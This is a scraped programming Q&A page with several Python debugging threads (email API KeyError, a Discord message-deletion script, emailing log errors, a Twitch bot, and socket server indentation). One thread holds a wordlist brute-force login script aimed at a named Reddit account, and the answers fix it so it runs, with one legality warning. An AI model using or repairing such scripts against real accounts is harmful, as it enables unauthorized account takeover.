Why am I getting this error? (KeyError: 'username') - python

I'm asking the user for an email, and then sending it to an email verification api, which I then get certain bits of info from. I'm getting a KeyError: 'username' and I have no idea why I'm getting that error. It's also annoying to test since they ratelimit after ~5 attempts
import json, requests, sys
emailInput = ""
def printHelp():
print("Proper usage is: python test.py [email]")
if len(sys.argv) < 2:
printHelp()
sys.exit()
elif len(sys.argv) == 2 and sys.argv[1] == "--help":
printHelp()
sys.exit()
elif len(sys.argv) == 2 and sys.argv[1] != "--help":
emailInput = str(sys.argv[1])
url = 'https://api.trumail.io/v2/lookups/json?email=' + str(emailInput)
res = requests.get(url)
res.raise_for_status()
resultText = res.text
emailInfo = json.loads(resultText)
print("\nEmail Analyzer 1.0\n\nInformation for email: " + sys.argv[1])
print("=====================================================")
print("Username: " + str(emailInfo["username"]))
print("Domain: " + str(emailInfo["domain"]))
print("Valid Format: " + str(emailInfo["validFormat"]))
print("Deliverable: " + str(emailInfo["deliverable"]))
print("Full Inbox: " + str(emailInfo["fullInbox"]))
print("Host Exists: " + str(emailInfo["hostExists"]))
print("Catch All: " + str(emailInfo["catchAll"]))
print("Disposable: " + str(emailInfo["disposable"]))
print("Free: " + str(emailInfo["free"]))

The reason is because a user enters an email that might seem valid - i.e. it's a valid email address with an # symbol etc. - but the email likely does not exist or is not in use.
For example, I ran your script with the following dummy input:
emailInput = 'acdefg#gmail.com'
After I added a print(emailInfo) statement for debugging purposes, this is what I found to be the output from the server:
{'Message': 'No response received from mail server'}
Therefore, your goal here will be to validate the server output. That is, in the case of a valid email that does not exist, you will receive an HTTP 200 (OK) response from the server with a Message field alone populated in the JSON response object. The task here will be to correctly detect the presence of this key, and then run a separate logic other than the happy path, which was already being handled above.

Your error is coming from the fact that emailInfo does not have a key username. Perhaps use emailInfo.get("username", default_value), where default_value is any value you would like if there is no username.
The line with the error is print("Username: " + str(emailInfo["username"]))

Related

bruteforce attack with requests - code keeps trying the same password

I have this piece of code and when I run it, it just repeats the same password over and over!
import requests
url = 'https://www.reddit.com/login/'
arq = open('C:/Users/Amel/Desktop/Python/BruteForce/wordlist.txt')
for line in arq:
password = line.strip()
http = requests.put(url,
data={'loginUsername' : 'skoolees', 'loginPassword' : password,
'AnimatedForm__submitButton' : 'submit'})
content = http.content
while url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
while url == 'https://www.reddit.com':
print('Password correct : ', password)
break
Hay Amel, you should use a if elif instead of while
You while url == 'https://www.reddit.com/login/' will never be evaluated at false because you do not change the value of url.
Furthermore, you want to check against the output, not the unchanged variable url
Try this instead
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
elif http.url == 'https://www.reddit.com':
print('Password correct : ', password)
break
Be aware this is not legal and forbidden by reddit code of conduct.
What is the purpose of the while loops? Have you tried to change them to if?
Also, you probably want to check the URL of the response (in your case http.url), not the variable url.
...
http = requests.put(...
...
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
else:
print('Password correct : ', password)
Note: bruteforcing reddit is probably not allowed and they most likely have a ratelimiting mechanism that will stop you after a few tries.

Getting 'KeyError' when running module

So, I'm a bit new with the Python code so I'm a bit lost when trying to decypher the issue here.
I keep getting this error when trying to run this module:
Traceback (most recent call last):
File "C:\Users\test\OneDrive\Documents\mass.py", line 33, in <module>
delete_all(auth_token, channel_id, username1, username2, get_all_messages(auth_token, channel_id))
File "C:\Users\test\OneDrive\Documents\mass.py", line 29, in delete_all
if (message["author"]["username"] == user1):
KeyError: 'author'
Here's all of the code right here:
import json, requests, sys
print ("Delete all messages from specific channel")
username1 = "test"
username2 = "test#0101"
auth_token = "ZMNHFHFKJkjfja.FJDJfhsd.EJjfda"
channel_id = "35345345345451"
delete_from_all_users = "False"
def get_all_messages(auth, id, last="", prev=[]):
if not last:
messages = json.loads(requests.get("http://canary.discordapp.com/api/v6/channels/" + id + "/messages", headers={"authorization": auth}, params={"limit": 100}).content)
else:
messages = json.loads(requests.get("http://canary.discordapp.com/api/v6/channels/" + id + "/messages", headers={"authorization": auth}, params={"before" : last, "limit" : 100}).content)
prev.append(messages)
if len(messages) < 100:
print ("Got to end of channel at " + str(len(prev)) + " messages")
return prev
else:
oldest = sorted(messages, key=lambda x: x["timestamp"], reverse=True)[-1]
return get_all_messages(auth, id, last=oldest["id"], prev=prev)
def delete_all(auth, id, user1, user2, messages):
print ("Trying to delete all messages in " + id + " from username " + user1)
for message in messages:
# print(message["author"]["username"])
if (message["author"]["username"] == user1):
requests.delete("http://canary.discordapp.com/api/v6/channels/" + id + "/messages/" + message["id"],headers={"authorization": auth})
print ("All messages were deleted")
delete_all(auth_token, channel_id, username1, username2, get_all_messages(auth_token, channel_id))
Kelsey, in your code in the 4th last line in the if condition,
if (message["author"]["username"] == user1):
the compiler does not find any "author" in the json messages that you are iterating upon. Now since we do not know the structure of your json we cannot help you out more there, but this is for sure that the message json does not contain any key such namely author.

Python Include contents of If/else in output not just print

I am not that experienced with python, but do some python coding for small jobs. Currently I have a job that opens a log file and pulls any records that are considered errors. This list of errors is then added as part of an email notification. What I would like to do is either include the list or a notification that the list was empty. I have been able to do this in the console, but don't know how to get this added as a parameter in the email.
if errorlist:
print "\n".join(errorlist)
else:
print "No Errors Found"
# Send Email
SMTP_SERVER = {SMTP SERVER}
SMTP_PORT = {SMTP PORT}
sender = {Sender}
password = {Password}
recipient = {Recipient}
subject = "This is the subject line"
errorlist = "<br>" "\n".join(errorlist)
body = "" + errorlist + ""
headers = ["From: " + sender,
"Subject: " + subject,
"To: " + ", " .join(recipient),
"MIME-Version: 1.0",
"Content-Type: text/html"]
headers = "\r\n".join(headers)
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, password)
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
session.quit()
The email is sent in this line:
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
The body variable contains the body of your email. In order to add something into the body of the email, it should be added to the string contained by the body variable. Adapting the code you already have added (which successfully prints your desired result), you could replace this line:
body = "" + errorlist + ""
with this:
if errorlist:
body = "\n".join(errorlist)
else:
body = "No Errors Found"
if errorlist:
error_string = "\n".join(errorlist) # assign it to variable
print (error_string) # still print it
else:
error_string = "" # assign blank to error_string
print ("No Errors Found") # still print "no errors found"
.
.
.
body = ""+error_string+"" # 'body = error_string' is the same though
.
.
.
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body) # this line you could replace "body" with "error_string" because they are pretty much goign to be equivilant because of the previous comment
You want to assign your error string into a variable, and then use the variable later when constructing the body. Also there is more room for simplification

Convert Data Pulled from Server To String

I have been working on a TwitchTV Python chat bot for a while now, but I'm still getting to grips with Python.
It may seem simple, but this has confused me so I decided I would ask:
I'm currently pulling messages from Twitch Chat using data = irc.recv
What I want to do is use the data pulled and turn it into a string, so that I can then check for capitals in the messages using str.isupper()
I've already tried a few ways;
data = irc.recv (4096)
msg = data()
capsTime = "30s"
str = msg
if str.isupper():
message("[-] Woah! Hold back on the caps! (Timeout " + capsTime + ")")
message("/timeout " + user + capsTime)
# variable "user" already defined
This is just one, that unfortunately didn't work.
EDIT:
This is my new code, It runs without error messages, but It doesn't function as I want it to;
while True:
data = irc.recv (4096)
user = data.split(':')[1]
user = user.split('!')[0]
caps = data.split(':')[0]
capsmsg = str(data)
print data
if data.find('PING') != -1:
irc.send('PONG ' + data.split()[1] + '\r\n')
if capsmsg.isupper():
message("[-] Woah! Hold back on the caps, " + user + "! (Timeout 30s)")
message("/timeout " + user + " 30s")
EDIT 2:
Expected output:
If a message is found in ALL caps, it will print this message and time the user out:
message("[-] Woah! Hold back on the caps, " + user + "! (Timeout 30s)")
Current output:
The bot does not pick the message up or run the scripted code.
Try this:
data = irc.recv (4096)
# msg = data()
capsTime = "30s"
mystr = repr(data)
if mystr.isupper():
message("[-] Woah! Hold back on the caps! (Timeout " + capsTime + ")")
message("/timeout " + user + capsTime)
# variable "user" already defined
Don't use reserved keyword.

Unindent does not match any outer indentation level

On line 51/52, I get the error:
Unindent does not match any outer indentation level.
I understand this has something to do with tabs and spaces.
Note I did not write this code, I found it online and plan to modify it.
Full code (also at http://pastebin.com/n7ML6Rpz)
import os
import re
import socket
import sys
import time
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Create socket
server_socket.bind(("", 9020)) #Bind server to this socket
server_socket.listen(4) #Max number of queued connections
# Welcome message
print ("TCP chat server now awaiting client connection on port 9020...")
chat_log = [] #Contains chat log
time = time.strftime('%l:%M %p %Z on %b %d, %Y') #Server start time formatted nicely
start_time = str(time) #Convert server start time to string
username = "ChatUser" #Default server username if user does not provide one
# Support ~2^x client connections, where x is the number of process forks
os.fork()
os.fork()
os.fork()
# This variable contains the help documentation for the "help" command
chatHelp = ("The chat server accepts the following commands:\n"
+ "adios Closes the program\n"
+ "connection Shows client connection info (IP, port)\n"
+ "get Returns complete chat log\n"
+ "getrange <#> <#> Get chat log entries from <#> to <#> (starts at 1)\n"
+ "help Lists valid commands\n"
+ "name: <text> Sets your username to <text>\n"
+ "test: <text> Echo data back to you <text>\n"
+ "time Shows time when server was initiated\n"
+ "push: <text> Add <text> to chat log\n"
+ "save Save chat log to file\n")
while 1:
# Accept connection
client_socket, address = server_socket.accept()
# Print connection info from client for server log
print ("Received connection from client at"), address
# Used in the connection command function (client request) below
connection = str(address)
# Send welcome string to client
client_socket.send("Welcome to Nigel's chat room! You are logged in as ChatUser.\n Type help for a list of valid commands.\n")
# Loop indefinitely while server running
while 1:
data = client_socket.recv(2048) #Receive client data into buffer
process_data = data.lower() #Lowercase received data for processing
print ("Data received from client>>"), process_data #Print data received from client for log reference
# Functions for the received commands (I use the find library to reduce compatibility errors with other languages)
# ---"adios" command function---
if (process_data.find("adios") == 0):
client_socket.close() #Close socket connection
print ("<Ctrl+C to exit.>>")
break;
# ---"connection:" command function---
elif(process_data.find("connection") == 0):
client_socket.send("Client connection info: " + connection + "\n")
print "User requested connection information"
# ---"getrange" command function w/ regular expression filtering (must be BEFORE "get" command function)---
elif(re.match(r'getrange\s+(\d+)\s+(\d+)',process_data)): # Regex to find correct match with dynamic numbers input
match = re.match(r'getrange\s+(\d+)\s+(\d+)',process_data)
getValue = "Chat log from range "+ match.group(1) + " and " + match.group(2) + ":\n" # Grab first and second range number provided by client
if(len(chat_log) >= int(match.group(1)) and len(chat_log) >= int(match.group(2))): # Check to see if chat log extends to given range
count = int(match.group(1)) - 1
while(count < int(match.group(2))):
getValue += chat_log[count] + "\n"
count += 1
else:
getValue += "<>\n" #No data in range provided by client
client_socket.send(getValue) #Send results to client
# ---"get" command function---
elif(process_data.find("get") == 0):
log = "Chat log: \n"
for item in chat_log:
log += item+" \n"
client_socket.send(log)
# ---"help:" command function---
elif(process_data.find("help") == 0):
client_socket.send(chatHelp + "\n")
print "User requested help"
# ---"name:" command function---
elif(process_data.find("name:") == 0):
username = data[5:].strip() #Only grab the value client set (not "name:")
client_socket.send("Username set to: " + data[5:] + "\n")
# ---"test:" command function---
elif(process_data.find("test:") == 0):
client_socket.send(data[5:]+"\n") #Echo last 5 elements to client
print data
# ---"time" command function---
elif(process_data.find("time") == 0):
client_socket.send("Chat server was started at: " + start_time + "\n")
print "User requested server start time"
# ---"save" command function---
elif(process_data.find("save") == 0):
print "(Saving chat log to file)"
client_socket.send("Saving chat log to file..." + "\n")
filename = "chat.log"
file = open(filename,"w") #Create file
for item in chat_log: #Loop through elements in chat_log
file.write("%s\n" % item) #Write elements one by one on a new line
file.close() #Close/write file
# ---"push" command function---
elif(process_data.find("push:") == 0):
print "(Pushing data to chat log)"
if(username != ""):
chat_log.append(username + ": " + data[5:].strip()) #Save actual chat text to log (not "push:")
else:
chat_log.append(data[5:].strip())
client_socket.send("OK\n")
else:
print "<<Unknown Data Received>>",data #Server log
try:
client_socket.send("Unrecognized command: " + data + "") #Advise client of invalid command
except socket.error, e:
print "<<Ctrl+C to exit>>" #Server log
break;
Python code is sensitive to the indent level you use. Your code reads:
if (process_data.find("adios") == 0):
client_socket.close() #Close socket connection
print ("<Ctrl+C to exit.>>")
break;
Inside the if block, the statements must all line up. Notice how client_socket.close() and the following print statement have different indent levels. You need to change this so that they both have the same indent, like this:
if (process_data.find("adios") == 0):
client_socket.close() #Close socket connection
print ("<Ctrl+C to exit.>>")
break;
The code presently reads:
if (process_data.find("adios") == 0):
client_socket.close() #Close socket connection
print ("<Ctrl+C to exit.>>")
break;
The first statement in the body of the if is indented 6 spaces, while the last two statements are only indented by 1 space. The indentation level ought to be same and consistent throughout the program, something like this:
if (process_data.find("adios") == 0):
client_socket.close() #Close socket connection
print ("<Ctrl+C to exit.>>")
break;
The indentation in the code doesn't seem very standard (or consistent). For instance the body of the while loop in 41/42 is indented more than other bodies of similar statements, e.g., lines 31-33, that's trouble in a language like Python where whitespace matters.
Finally, note it's not a good idea to mix tabs and spaces. PEP 8 -- Style Guide for Python Code recommends the use of spaces over tabs and an indentation of 4 spaces per level.

Categories